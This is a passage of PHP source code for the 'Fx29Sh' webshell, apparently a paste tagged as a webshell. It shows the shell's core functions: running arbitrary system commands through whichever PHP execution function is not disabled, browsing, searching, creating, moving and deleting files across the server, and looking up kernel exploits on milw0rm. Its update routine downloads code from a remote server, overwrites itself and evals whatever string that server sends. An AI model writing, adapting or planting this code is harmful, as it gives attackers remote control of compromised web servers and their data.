  2632.   }
  2633.   echo "</form>\r\n";
  2634. ?>
  2635. </td></tr>
  2636. <tr><td align=right>Search File:</td>
  2637. <td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2638.     <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
  2639.     </form>
  2640.     </td></tr>
  2641. <tr><td align=right>Create File:</td>
  2642. <td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  2643.     <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
  2644.     </form></td></tr>
  2645. <tr><td align=right>View File:</td>
  2646. <td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2647.     <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
  2648.     </form></td></tr>
  2649. </table>
  2650. <?php footer(); ?>
  2651. </body></html>
  2652. <?php
  2653.  
  2654. ###########################
  2655. ## Fx29Sh CORE FUNCTIONS ##
  2656. ###########################
  2657. function safemode() {
  2658.   if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
  2659.   else { return FALSE; }
  2660. }
  2661. function getdisfunc() {
  2662.   $disfunc = @ini_get("disable_functions");
  2663.   if (!empty($disfunc)) {
  2664.     $disfunc = str_replace(" ","",$disfunc);
  2665.     $disfunc = explode(",",$disfunc);
  2666.   }
  2667.   else { $disfunc= array(); }
  2668.   return $disfunc;
  2669. }
  2670. function enabled($func) {
  2671.  if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
  2672.  else { return FALSE; }
  2673. }
  2674. function fx29exec($cmd) {
  2675.   $output = "";
  2676.   if ( enabled("popen") ) {
  2677.     $h = popen($cmd.' 2>&1', 'r');
  2678.     if ( is_resource($h) ) {
  2679.       while ( !feof($h) ) { $output .= fread($h, 2096);  }
  2680.       pclose($h);
  2681.     }
  2682.   }
  2683.   elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2684.   elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2685.   elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2686.   elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2687.   return $output;
  2688. }
  2689. function fx29exec2($cmd) {
  2690.   $output = "";
  2691.   if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2692.   elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2693.   elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2694.   elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2695.   elseif ( enabled("popen") ) {
  2696.     $h = popen($cmd.' 2>&1', 'r');
  2697.     if ( is_resource($h) ) {
  2698.       while ( !feof($h) ) { $output .= fread($h, 2096);  }
  2699.       pclose($h);
  2700.     }
  2701.   }
  2702.   return $output;
  2703. }
  2704. function which($pr) {
  2705.   $path = fx29exec("which $pr");
  2706.   if(!empty($path)) { return $path; } else { return $pr; }
  2707. }
  2708.  
  2709. function get_status() {
  2710.   function showstat($sup,$stat) {
  2711.     if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
  2712.     else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
  2713.   }
  2714.   $arrfunc = array(
  2715.     array("MySQL","mysql_connect"),
  2716.     array("MSSQL","mssql_connect"),
  2717.     array("Oracle","ocilogon"),
  2718.     array("PostgreSQL","pg_connect"),
  2719.     array("Curl","curl_version"),
  2720.   );
  2721.   $arrcmd = array(
  2722.     array("Fetch","fetch --help"),
  2723.     array("Wget","wget --help"),
  2724.     array("Perl","perl -v"),
  2725.   );
  2726.  
  2727.   $statinfo = array();
  2728.   foreach ($arrfunc as $func) {
  2729.     if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
  2730.     else { $statinfo[] = showstat($func[0],"off"); }
  2731.   }
  2732.   $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
  2733.   foreach ($arrcmd as $cmd) {
  2734.     if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
  2735.     else { $statinfo[] = showstat($cmd[0],"off"); }
  2736.   }
  2737.   return implode(" ",$statinfo);
  2738. }
  2739. function showdisfunc() {
  2740.   if ($disablefunc = @ini_get("disable_functions")) {
  2741.     return "<font color=#FF9900><b>".$disablefunc."</b></font>";
  2742.   }
  2743.   else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  2744. }
  2745. function disp_drives($curdir,$surl) {
  2746.   $letters = "";
  2747.   $v = explode("\\",$curdir);
  2748.   $v = $v[0];
  2749.   foreach (range("A","Z") as $letter) {
  2750.     $bool = $isdiskette = $letter == "A";
  2751.     if (!$bool) { $bool = is_dir($letter.":\\"); }
  2752.     if ($bool) {
  2753.       $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
  2754.                   ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
  2755.       if ($letter.":" != $v) { $letters .= $letter; }
  2756.       else { $letters .= "<font color=yellow>".$letter."</font>"; }
  2757.       $letters .= "</a> ";
  2758.     }
  2759.   }
  2760.   if (!empty($letters)) { Return $letters; }
  2761.   else  {Return "None"; }
  2762. }
  2763. function disp_freespace($curdrv) {
  2764.   $free = @disk_free_space($curdrv);
  2765.   $total = @disk_total_space($curdrv);
  2766.   if ($free === FALSE) { $free = 0; }
  2767.   if ($total === FALSE) { $total = 0; }
  2768.   if ($free < 0) { $free = 0; }
  2769.   if ($total < 0) { $total = 0; }
  2770.   $used = $total-$free;
  2771.   $free_percent = round(100/($total/$free),2)."%";
  2772.   $free = view_size($free);
  2773.   $total = view_size($total);
  2774.   return "$free of $total ($free_percent)";
  2775. }
  2776. ## Fx29Sh UPDATE FUNCTIONS ##
  2777. function fx29getsource($fn) {
  2778.   global $fx29sh_sourcesurl;
  2779.   $array = array(
  2780.     "fx29sh.php" => "fx29sh.txt",
  2781.   );
  2782.   $name = $array[$fn];
  2783.   if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);}
  2784.   else {return FALSE;}
  2785. }
  2786. function fx29sh_getupdate($update = TRUE) {
  2787.   $url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
  2788.   $data = @file_get_contents($url);
  2789.   if (!$data) { return "Can't connect to update-server!"; }
  2790.   else {
  2791.     $data = ltrim($data);
  2792.     $string = substr($data,3,ord($data{2}));
  2793.     if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  2794.     if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  2795.     if ($data{0} == "\x99" and $data{1} == "\x03") {
  2796.       $string = explode("|",$string);
  2797.       if ($update) {
  2798.         $confvars = array();
  2799.         $sourceurl = $string[0];
  2800.         $source = file_get_contents($sourceurl);
  2801.         if (!$source) {return "Can't fetch update!";}
  2802.         else {
  2803.           $fp = fopen(__FILE__,"w");
  2804.           if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  2805.           else {
  2806.             fwrite($fp,$source);
  2807.             fclose($fp);
  2808.             return "Update completed!";
  2809.           }
  2810.         }
  2811.       }
  2812.       else {return "New version are available: ".$string[1];}
  2813.     }
  2814.     elseif ($data{0} == "\x99" and $data{1} == "\x04") {
  2815.       eval($string);
  2816.       return 1;
  2817.     }
  2818.     else {return "Error in protocol: segmentation failed! (".$data.") ";}
  2819.   }
  2820. }
  2821. function fx29_buff_prepare() {
  2822.   global $sess_data;
  2823.   global $act;
  2824.   foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2825.   foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2826.   $sess_data["copy"] = array_unique($sess_data["copy"]);
  2827.   $sess_data["cut"] = array_unique($sess_data["cut"]);
  2828.   sort($sess_data["copy"]);
  2829.   sort($sess_data["cut"]);
  2830.   if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  2831.   else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  2832. }
  2833. function fx29_sess_put($data) {
  2834.   global $sess_cookie;
  2835.   global $sess_data;
  2836.   fx29_buff_prepare();
  2837.   $sess_data = $data;
  2838.   $data = serialize($data);
  2839.   setcookie($sess_cookie,$data);
  2840. }
  2841. ## END Fx29Sh UPDATE FUNCTIONS ##
  2842. ## FILESYSTEM FUNCTIONS ##
  2843. function fs_copy_dir($d,$t) {
  2844.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2845.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2846.   $h = opendir($d);
  2847.   while (($o = readdir($h)) !== FALSE) {
  2848.     if (($o != ".") and ($o != "..")) {
  2849.       if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2850.       else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2851.       if (!$ret) {return $ret;}
  2852.     }
  2853.   }
  2854.   closedir($h);
  2855.   return TRUE;
  2856. }
  2857. function fs_copy_obj($d,$t) {
  2858.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2859.   $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  2860.   if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  2861.   if (is_dir($d)) {
  2862.     if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2863.     if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  2864.     return fs_copy_dir($d,$t);
  2865.   }
  2866.   elseif (is_file($d)) { return copy($d,$t); }
  2867.   else { return FALSE; }
  2868. }
  2869. function fs_move_dir($d,$t) {
  2870.   $h = opendir($d);
  2871.   if (!is_dir($t)) {mkdir($t);}
  2872.   while (($o = readdir($h)) !== FALSE) {
  2873.     if (($o != ".") and ($o != "..")) {
  2874.       $ret = TRUE;
  2875.       if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2876.       else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  2877.       if (!$ret) {return $ret;}
  2878.      }
  2879.    }
  2880.   closedir($h);
  2881.   return TRUE;
  2882. }
  2883. function fs_move_obj($d,$t) {
  2884.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2885.   $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  2886.   if (is_dir($d)) {
  2887.     if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2888.     if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  2889.     return fs_move_dir($d,$t);
  2890.   }
  2891.   elseif (is_file($d)) {
  2892.     if(copy($d,$t)) {return unlink($d);}
  2893.     else {unlink($t); return FALSE;}
  2894.   }
  2895.   else {return FALSE;}
  2896. }
  2897. function fs_rmdir($d) {
  2898.   $h = opendir($d);
  2899.   while (($o = readdir($h)) !== FALSE) {
  2900.     if (($o != ".") and ($o != "..")) {
  2901.       if (!is_dir($d.$o)) {unlink($d.$o);}
  2902.       else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  2903.     }
  2904.   }
  2905.   closedir($h);
  2906.   rmdir($d);
  2907.   return !is_dir($d);
  2908. }
  2909. function fs_rmobj($o) {
  2910.   $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  2911.   if (is_dir($o)) {
  2912.     if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  2913.     return fs_rmdir($o);
  2914.   }
  2915.   elseif (is_file($o)) {return unlink($o);}
  2916.   else {return FALSE;}
  2917. }
  2918. ## END FILESYSTEM FUNCTIONS ##
  2919. function onphpshutdown() {
  2920.   global $gzipencode,$ft;
  2921.   if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  2922.     $v = @ob_get_contents();
  2923.     @ob_end_clean();
  2924.     @ob_start("ob_gzHandler");
  2925.     echo $v;
  2926.     @ob_end_flush();
  2927.   }
  2928. }
  2929. function fx29shexit() { onphpshutdown(); exit; }
  2930.  
  2931. function fx29fsearch($d) {
  2932.   global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
  2933.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2934.   $h = opendir($d);
  2935.   while (($f = readdir($h)) !== FALSE) {
  2936.     if($f != "." && $f != "..") {
  2937.       $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  2938.       if (is_dir($d.$f)) {
  2939.         $search_i_d++;
  2940.         if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  2941.         if (!is_link($d.$f)) {fx29fsearch($d.$f);}
  2942.       }
  2943.       else {
  2944.         $search_i_f++;
  2945.         if ($bool) {
  2946.           if (!empty($a["text"])) {
  2947.             $r = @file_get_contents($d.$f);
  2948.             if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  2949.             if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  2950.             if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  2951.             else {$bool = strpos(" ".$r,$a["text"],1);}
  2952.             if ($a["text_not"]) {$bool = !$bool;}
  2953.             if ($bool) {$found[] = $d.$f; $found_f++;}
  2954.           }
  2955.           else {$found[] = $d.$f; $found_f++;}
  2956.         }
  2957.       }
  2958.     }
  2959.   }
  2960.   closedir($h);
  2961. }
  2962. function view_size($size) {
  2963.   if (!is_numeric($size)) { return FALSE; }
  2964.   else {
  2965.     if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  2966.     elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  2967.     elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  2968.     else {$size = $size . " B";}
  2969.     return $size;
  2970.   }
  2971. }
  2972. function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
  2973. function view_perms($mode) {
  2974.   if (($mode & 0xC000) === 0xC000) {$type = "s";}
  2975.   elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  2976.   elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  2977.   elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  2978.   elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  2979.   elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  2980.   elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  2981.   else {$type = "?";}
  2982.   $owner["read"] = ($mode & 00400)?"r":"-";
  2983.   $owner["write"] = ($mode & 00200)?"w":"-";
  2984.   $owner["execute"] = ($mode & 00100)?"x":"-";
  2985.   $group["read"] = ($mode & 00040)?"r":"-";
  2986.   $group["write"] = ($mode & 00020)?"w":"-";
  2987.   $group["execute"] = ($mode & 00010)?"x":"-";
  2988.   $world["read"] = ($mode & 00004)?"r":"-";
  2989.   $world["write"] = ($mode & 00002)? "w":"-";
  2990.   $world["execute"] = ($mode & 00001)?"x":"-";
  2991.   if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  2992.   if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  2993.   if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  2994.   return $type.join("",$owner).join("",$group).join("",$world);
  2995. }
  2996. function parse_perms($mode) {
  2997.   if (($mode & 0xC000) === 0xC000) {$t = "s";}
  2998.   elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  2999.   elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  3000.   elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  3001.   elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  3002.   elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  3003.   elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  3004.   else {$t = "?";}
  3005.   $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  3006.   $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  3007.   $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  3008.   return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  3009. }
  3010. function parsesort($sort) {
  3011.   $one = intval($sort);
  3012.   $second = substr($sort,-1);
  3013.   if ($second != "d") {$second = "a";}
  3014.   return array($one,$second);
  3015. }
  3016. function view_perms_color($o) {
  3017.   if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  3018.   elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  3019.   else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  3020. }
  3021. function str2mini($content,$len) {
  3022.   if (strlen($content) > $len) {
  3023.     $len = ceil($len/2) - 2;
  3024.     return substr($content, 0,$len)."...".substr($content,-$len);
  3025.   } else {return $content;}
  3026. }
  3027. function strips(&$arr,$k="") {
  3028.   if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
  3029.   else { $arr = stripslashes($arr); }
  3030. }
  3031.  
  3032. function getmicrotime() {
  3033.   list($usec, $sec) = explode(" ", microtime());
  3034.   return ((float)$usec + (float)$sec);
  3035. }
  3036.  
  3037. function milw0rm() {
  3038.   $Lversion = php_uname(r);
  3039.   $OSV = php_uname(s);
  3040.   if(eregi("Linux",$OSV)) {
  3041.     $Lversion = substr($Lversion,0,6);
  3042.     return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  3043.   } else {
  3044.     $Lversion = substr($Lversion,0,3);
  3045.     return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
  3046.   }
  3047. }
  3048. function tools() {
  3049.   echo "List of tools";
  3050. }
  3051.  
  3052. function sh_name() { return base64_decode("RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=").sh_ver; }
  3053. function htmlhead($safemode) {
  3054. $style = '
  3055. <style type="text/css">
  3056. body,table {font:8pt verdana;background-color:black;}
  3057. table {width:100%;}
  3058. table,td,#maininfo td {padding:3px;}
  3059. table,td,input,select,option {border:1px solid #808080;}
  3060. body,table,input,select,option {color:#FFFFFF;}
  3061. a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
  3062. textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
  3063. #pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
  3064. #pagebar td {vertical-align:top;}
  3065. #pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
  3066. #pagebar a {font-weight:bold;color:#00FF00;}
  3067. #pagebar a:visited {color:#00CE00;}
  3068. #mainmenu {text-align:center;}
  3069. #mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
  3070. #maininfo,.barheader,.bartitle {text-align:center;}
  3071. .fleft {float:left;text-align:left;}
  3072. .fright {float:right;text-align:right;}
  3073. .bartitle {padding:5px;border:2px solid #1F1F1F;}
  3074. .barheader {font-weight:bold;padding:5px;}
  3075. .info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
  3076. .info th {color:#00FF00;text-align:left;width:13%;}
  3077. .contents,.explorer {border-collapse:collapse;}
  3078. .contents,.explorer td,th {vertical-align:top;}
  3079. .mainpanel {border-collapse:collapse;padding:5px;}
  3080. .barheader,.mainpanel table,td {border:1px solid #333333;}
  3081. input[type="submit"],input[type="button"] {border:1px solid #000000;}
  3082. input[type="text"] {padding:3px;}
  3083. .shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
  3084. .fxerrmsg {color:red; font-weight:bold;}
  3085. #pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
  3086. #pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
  3087. .bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
  3088. textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
  3089. input[type="label"] { text-align:right;}
  3090. .info,.info td,input[type="label"] {border:0;background:none;}
  3091. </style>
  3092. ';
  3093. $html_start = '
  3094. <html><head>
  3095. <title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
  3096. '.$style.'
  3097. </head>
  3098. <body>
  3099. <div class=bartitle><h4>'.sh_name().'</h4>.: No System is Perfectly Safe :.</div>
  3100. ';
  3101. return $html_start;
  3102. };
  3103. function footer() {
  3104.   echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By FaTaLisTiCz_Fx, � 2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
  3105. }
  3106. chdir($lastdir); fx29shexit();
  3107. ?>
Tags: Webshell php
Add Comment
Please, Sign In to add comment